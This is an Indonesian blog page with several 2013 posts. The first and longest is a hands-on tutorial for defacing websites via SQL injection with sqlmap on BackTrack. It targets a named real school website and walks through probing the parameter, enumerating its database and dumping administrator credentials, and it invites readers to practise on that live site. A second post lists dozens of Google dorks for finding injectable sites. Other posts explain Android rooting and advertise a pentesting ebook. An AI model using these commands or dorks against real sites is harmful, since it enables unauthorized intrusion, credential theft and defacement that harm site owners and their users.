Tenny Techno

Saturday, February 16, 2013

Tutorial Deface Dengan SQLmap Di BackTrack 5 (With Live Target)

Saturday, February 16, 2013 - 2 Comments

Halo para sobat Tenny Technology, kali ini saya akan menulis tentang Cara Deface Dengan SQL Injection yang dikenal dengan teknik SQLmap di BackTrack. Tools ini sudah ada di dalam File .ISO pada BackTrack.
Disini, saya menggunakan BackTrack 5 R3.
Pertama-tama, cari target yang vuln terhadap SQL Injection, berikut ini sedikit dork dari saya :

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=

Dan masih banyak lagi dork bertebaran di Google :D

Dalam Tutorial kali ini, saya akan menggunakan target salah satu Sekolah yang ada di Sidoarjo.

http://www.sman2sidoarjo.sch.id/

Untuk mengetahui Website tersebut Vuln atau tidak, silahkan tambahkan tanda ‘ (petik satu) setelah atau sebelum nomor id tersebut, bisa juga dengan menambahkan tanda - (minus) sebelum nomor id tersebut.

Contoh : http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5''

http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=’5

http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=-5

Jika target tersebut Vuln terhadap SQLi, maka akan muncul kira-kira seperti ini :

Jika sudah mendapatkan target, silahkan buka Terminal, kemudian ketikan perintah “cd /pentest/database/sqlmap” (tanpa tanda petik) kemudian Enter.

Kemudian akan muncul seperti ini.

Kemudian untuk mencari nama database, ketikkan “ ./sqlmap.py -uhttp://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 --dbs” (tanpa tanda petik) kemudian Enter.

Kemudian akan muncul seperti ini :

Disana kita dapat menemukan 2 Database, yaitu information_schema dan sman2sidoarjo_sman2sda

Setelah kita mendapatkan Database tersebut, kita tulis “./sqlmap.py -uhttp://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase --tables” (tanpa tanda petik) kemudian Enter.

Setelah itu akan muncul beberapa Tabel.

Kemudian kita mencari Colums dengan cara mengetik “./sqlmap.py -uhttp://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --columns” (tanpa tanda petik) kemudian Enter.

Disini kita akan menjumpai beberapa Columns dari Tabel Admin.

Kemudian, untuk mengetahui isi dari Columns tersebut, kita ketikkan “./sqlmap.py -uhttp://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --dump” (tanpa tanda petik) kemudian Enter.

Nah, kita sekarang sudah menemukan User + Pass Administrator dari Website tersebut:)

Jika sudah mendapatkan User + Pass, pasti Anda tau kan yang harus dilakukan ? :)

Nah, tinggal cari Login Adminnya deh :D

Caranya banyak kok di Google :)

Sekian dulu dari saya, saya ucapkan Terimakasih Banyak :)

Untuk yang ingin belajar SQL Map, silahkan menggunakan live targethttp://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5

NB : GUNAKANLAH DENGAN BIJAK :)

Monday, February 11, 2013

Kumpulan Dork Havij

Monday, February 11, 2013 - 2 Comments

Sudah belakangan ini Tenny Technology jarang update u,u . Kali ini saya akan update tentang dunia underground. Kumpulan Dork Havij Ini saya ambil dari beberapa sumber ^^

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
channel_id=
newsid=
news_display.php?getid=
ages.php?id=
clanek.php4?id=
review.php?id=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
look.php?ID=
galeri_info.php?l=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
offer.php?idf=
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: preg_match()
"id=" & intext:"Warning: ilesize()
"id=" & intext:"Warning: filesize()
index.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
newsitem.php?num=
top10.php?cat=
historialeer.php?num=
reagir.php?num=

intext:"error in your SQL syntax" +site:mm
intext:"mysql_num_rows()" +site:mm
intext:"mysql_fetch_array()" +site:mm
intext:"Error Occurred While Processing Request" +site:mm
intext:"Server Error in '/' Application" +site:mm
intext:"Microsoft OLE DB Provider for ODBC Drivers error" +site:mm
intext:"Invalid Querystring" +site:mm
intext:"OLE DB Provider for ODBC" +site:mm
intext:"VBScript Runtime" +site:mm
intext:"ADODB.Field" +site:mm
intext:"BOF or EOF" +site:mm
intext:"ADODB.Command" +site:mm
intext:"JET Database" +site:mm
intext:"mysql_fetch_row()" +site:mm
intext:"Syntax error" +site:mm
intext:"include()" +site:mm
intext:"mysql_fetch_assoc()" +site:mm
intext:"mysql_fetch_object()" +site:mm
intext:"mysql_numrows()" +site:mm
intext:"GetArray()" +site:mm
intext:"FetchRow()" +site:mm
intext:"Input string was not in a correct format" +site:mm

Semoga Postingan kali ini membantu sobat semua ^^

Sunday, February 10, 2013

Pengertian Dan Fungsi Root Android

Sunday, February 10, 2013 - 0 Comments

Pengertian dan Fungsi Root Android - Bagi Anda yang masih belum begitu mengerti tentang apa sebernarnya Root dan bagaimana fungsinya bagi Android, ada baiknya menyimak ulasan dari blog Tenny Technology berikut ini tentang Pengertian Root dan Fungsi Root Android.

Pengertian Root

Root adalah suatu system account yang memiliki kekuasaan absolut untuk mengakses dan mengeksekusi semua file, command, system, dalam sistem operasi berbasis linux. Intinya, root ini punya akses tanpa batas yang bisa mengubah, menghapus, menambah, bahkan merusak semua yang ada didalam sistem handphone kita. Nge-root artinya nge-hack sistem handphone supaya kita (pemilik dan pengguna hape) punya akses ke account root tersebut,jadi kitalah yang punya kekuasaan.

Fungsi Root Android

Fungsi root Android adalah untuk memberi hak penuh kepada pengguna Android untuk dapat masuk ke sistem Android. Dengan melakukan Root, pengguna dapat menambah, mengurangi maupun memodifikasi file-file atau data-data yang terletak pada sistem Android yang bila dalam keadaan standar (belum root) file-file tersebut tidak dapat di akses. Bila dianalogikan sistem operasi komputer Windows, fungsi root Android adalah memberikan hak administrator kepada pengguna.

Apa gunanya handphone Android di Root ?

Gunanya handphone Android di Root adalah :

1. Akses yang tak terbatas terhadap system Android
2. Instalasi aplikasi di memory card dan install aplikasi yang butuh root pastinya
3. Un-install aplikasi-aplikasi bawaan vendor
4. Backup App+System
5. Instalasi ROM custom
6. Akses terhadap file-file sistem Android secara penuh
7. Overclock processor yang secara keseluruhan meningkatkan performa (tapi membuat konsumsi baterai jadi lebih boros).

Kelebihan Dan Kekurangan Root Android

Kekurangan :

Dapat menghilangkan garansi handphone.

Kenapa rooting Android dapat menghilangkan garansi? Root itu diibaratkan seperti “segel garansi”. Analoginya seperti ini, apabila Anda membeli komputer buatan pabrik (bukan komputer rakitan), biasanya akan dilengkapi dengan segel atau stiker garansi. Segel ini biasanya akan rusak bila kita membuka casing computer.

Jika kita ingin meningkatkan kemampuan komputer, misalnya dengan mengganti kartu grafis komputer dengan yang lebih baik, otomatis kita harus membuka casingkomputer dan secara otomatis akan merusak segel garansi. Apakah dengan membongkar casing akan menyebabkan komputer menjadi rusak? Tentu saja tidak.

Namun, jika terjadi kerusakan apakah akan menghanguskan garansi? Sudah jelas, karena pihak service center melihat bahwa segel garansi telah rusak dan memberi vonis bahwa komputer rusak karena dibongkar, padahal kerusakan disebabkan faktor lain.

Sama halnya dengan root Android. Jika HP Anda mengalami kerusakan, misalnya speaker tidak berbunyi dan Anda membawa ke Service Center dengan kondisi ter-root, maka ada kemungkinan klaim garansi akan ditolak dan dikatakan bahwa ponsel rusak akibat proses root, padahal sebenarnya tidak.

Namun sebenarnya Anda tidak perlu terlalu khawatir, berbeda dengan segel garansi, proses root dapat dibalikkan atau ponsel dikembalikan ke kondisi awal. Proses ini dinamakan Unroot. Jika proses unroot dilakukan, maka secara otomatis garansi akan berlaku kembali.

Catatan: Bila ingin membawa HP ke service center, selain dilakukan unroot, sebaiknya lakukan juga factory reset (menghilangkan semua data dan aplikasi yang terinstall)

Kerugian :

Masalah keamanan

Sebenarnya untuk yang satu ini masih menjadi perdebatan. Dikatakan bahwa dengan melakukan Root, maka aplikasi-aplikasi malware seperti virus atau Trojan dapat dengan mudahnya masuk ke file sistem dan melakukan pengrusakan atau melakukan pencurian data-data pengguna.

Namun demikian, sebenarnya walaupun HP tidak di root, apabila pembuat virus memang “berniat jahat”, maka tanpa root pun, aplikasi virus dapat dengan mudah mengakses sistem file.

Keuntungan :

1. Dapat Menginstall Aplikasi yang Membutuhkan Akses Root

Berikut adalah beberapa contoh aplikasi yang membutuhkan akses root yang paling banyak diinstall:

    App2SD : Dengan aplikasi ini memungkinkan pengguna untuk memindahkan semua aplikasi ke SD Card. Pada umumnya, para pengguna Android melakukan root untuk menginstall aplikasi ini.
    Titanium Backup: Aplikasi ini berguna untuk membackup semua aplikasi yang terinstall. Bukan hanya itu saja, aplikasi ini dapat juga mem-back up data-data aplikasi seperti pengaturan (setting-an), dll.
    Root Explorer: Sebuah aplikasi manajer file terbaik untuk Android dengan fitur utama yang bisa mengakses seluruh sistem file didalam ponsel Android anda. Fitur lainnya adalah aplikasi ini mampu membaca file ZIP, APK, XML dan masih banyak lagi.
    SetCPU adalah alat untuk mengubah pengaturan CPU (mampu overclock dan underclock)
    GL to SD: Applikasi ini berfungsi untuk memindahkan data-data game hd dari sd card ke external sd card.
    Auto Killer Memorry: berfungsi untuk mematikan applikasi yang berjalan secara otomatis apabila RAM sudah di ambang batas yang fungsinya untuk mempercepat loading HP anda dan juga dapat menghemat battery.

2. Dapat menginstall custom ROM

Apa itu custom ROM? Custom ROM adalah sistem operasi Android kustom (alternatif) atau bukan buatan vendor ponsel. Custom ROM dikembangkan oleh komunitas penggemar sistem operasi Android. Catatan: dengan melakukan root bukan berarti Anda dapat langsung melakukan instalasi Custom ROM, namun kebanyakan handphone Android membutuhkan akses root bila ingin diinstall custom ROM.

Kelebihan :

Dapat melakukan pengaturan untuk memaksimalkan kinerja handphone.

Salah satu pengaturan yang dapat dilakukan adalah overclock processor. Dengan melakukan overclock, processor dapat “dipaksa” kerja lebih cepat dari kecepatan bawaannya yang secara keseluruhan dapat meningkatkan kinerja ponsel. Namun demikian, overclock dapat memperpendek usia processor, membuat baterai lebih boros dan cepat panas dan juga ada kemungkinan menyebabkan sistem menjadi tidak stabil.

Catatan: Pada umumnya, dengan hanya melakukan root saja, Anda tidak akan secara otomatis dapat melakukan OverClock processor, kecuali kernel dari handphone/tablet Android mendukungnya. Namun dengan melakukan root, Anda dapat melakukan underclock processor atau menurunkan kecepatan processor agar konsumsi baterai lebih irit.Dapat Uninstall Aplikasi Bawaan Pabrik

Dengan melakukan root, kita dapat melakukan uninstall aplikasi-aplikasi bawaan pabrik yang tidak berguna dan hanya memenuhi memori telepon. Namun, jika Anda berniat melakukan hal ini sebaiknya berhati-hati, karena jika salah uninstall dapat menyebabkan kinerja handphone menjadi tidak sempurna. Sebaiknya jangan dilakukan bila tidak terlalu diperlukan.

Wednesday, February 6, 2013

Attacking side with BackTrack ( ASWB )

Wednesday, February 6, 2013 - 0 Comments

Judul : Attacking side with BackTrack ( ASWB )

Prise : free

Versi : 1 beta

Author : zee eichel, habibi rizqi rahmadhan, james0baster

Sinopsis : Buku ini mengajarkan tentang penggunaan BackTrack secara umum yang menitik beratkan pada penggunaan tools serta metodologi penetration testing itu sendiri. Buku ini di lengkapi dengan motivasi IT dari habibi rizky ( awaken the dragon within ). Buku ini sangat kami rekomendasikan untuk para pemula serta advance pengguna BackTrack di indonesia. Selain menggunakan bahasa Indonesia, buku ini juga dilengkapi dengan screenshot yang di harapkan dapat membantu pengertian para pengguna Backtrack di Indonesia

Kami percaya bahwa tiada gading yang tak retak karena itu kami menunggu saran dan komentar positif anda yang dapat anda postingkan di forum kami . Kami akan melakukan revisi berdasarkan dukungan saudara tersebut. Karena itu jika anda menginginkan buku ini terus di revisi silahkan meninggalkan komentar di link forum tersebut. Buku ini akan terus dilengkapi, disempurnakan sesuai dengan perkembangan dan kebutuhan Backtrack yang ada. Dan hal ini akan kami lakukan pada kurun waktu per tiga bulan.

Kami telah bernasar bahwa buku ini tidak akan pernah di perjual-belikan dan di peruntukan untuk komunitas semata. Sebelum anda mendownload buku ini sebaiknya anda mengetahui serta membaca terlebih dahulu “term of agreement” di bawah ini

Terms of areement

Buku ini benar-benar bersifat free tanpa biaya sama sekali, di harapkan anda mendownload dari situs ini. Jika anda mendapati buku ini di perjual-belikan maka sebaiknya anda abaikan karena kami tidak bertanggung jawab atas setiap penyalahgunaan publishing buku ini secara menyeluruh
Anda dapat menyebarluaskan buku ini , termasuk di antaranya me-reupload buku tersebut ke direktori atau ke resource server anda. Ini dapat anda lakukan dengan free namun dilarang untuk mengubah apapun setiap material buku tersebut termasuk di antaranya adalah informasi Author
Buku ini dalam trade mark ( codewall-security ) dan memiliki nilai hukum dari segi HAKI secara sah mengikuti hukum yang berlaku di republik Indonesia, barang siapa yang melakukan atau melanggar pernjanjian ini akan kami adakan tindakan hukum tanpa pemberitahuan terlebih dahulu.

Anda dapat mendownload buku ini melalui link di bawah ini

DOWNLOAD ASWB FREE EBOOK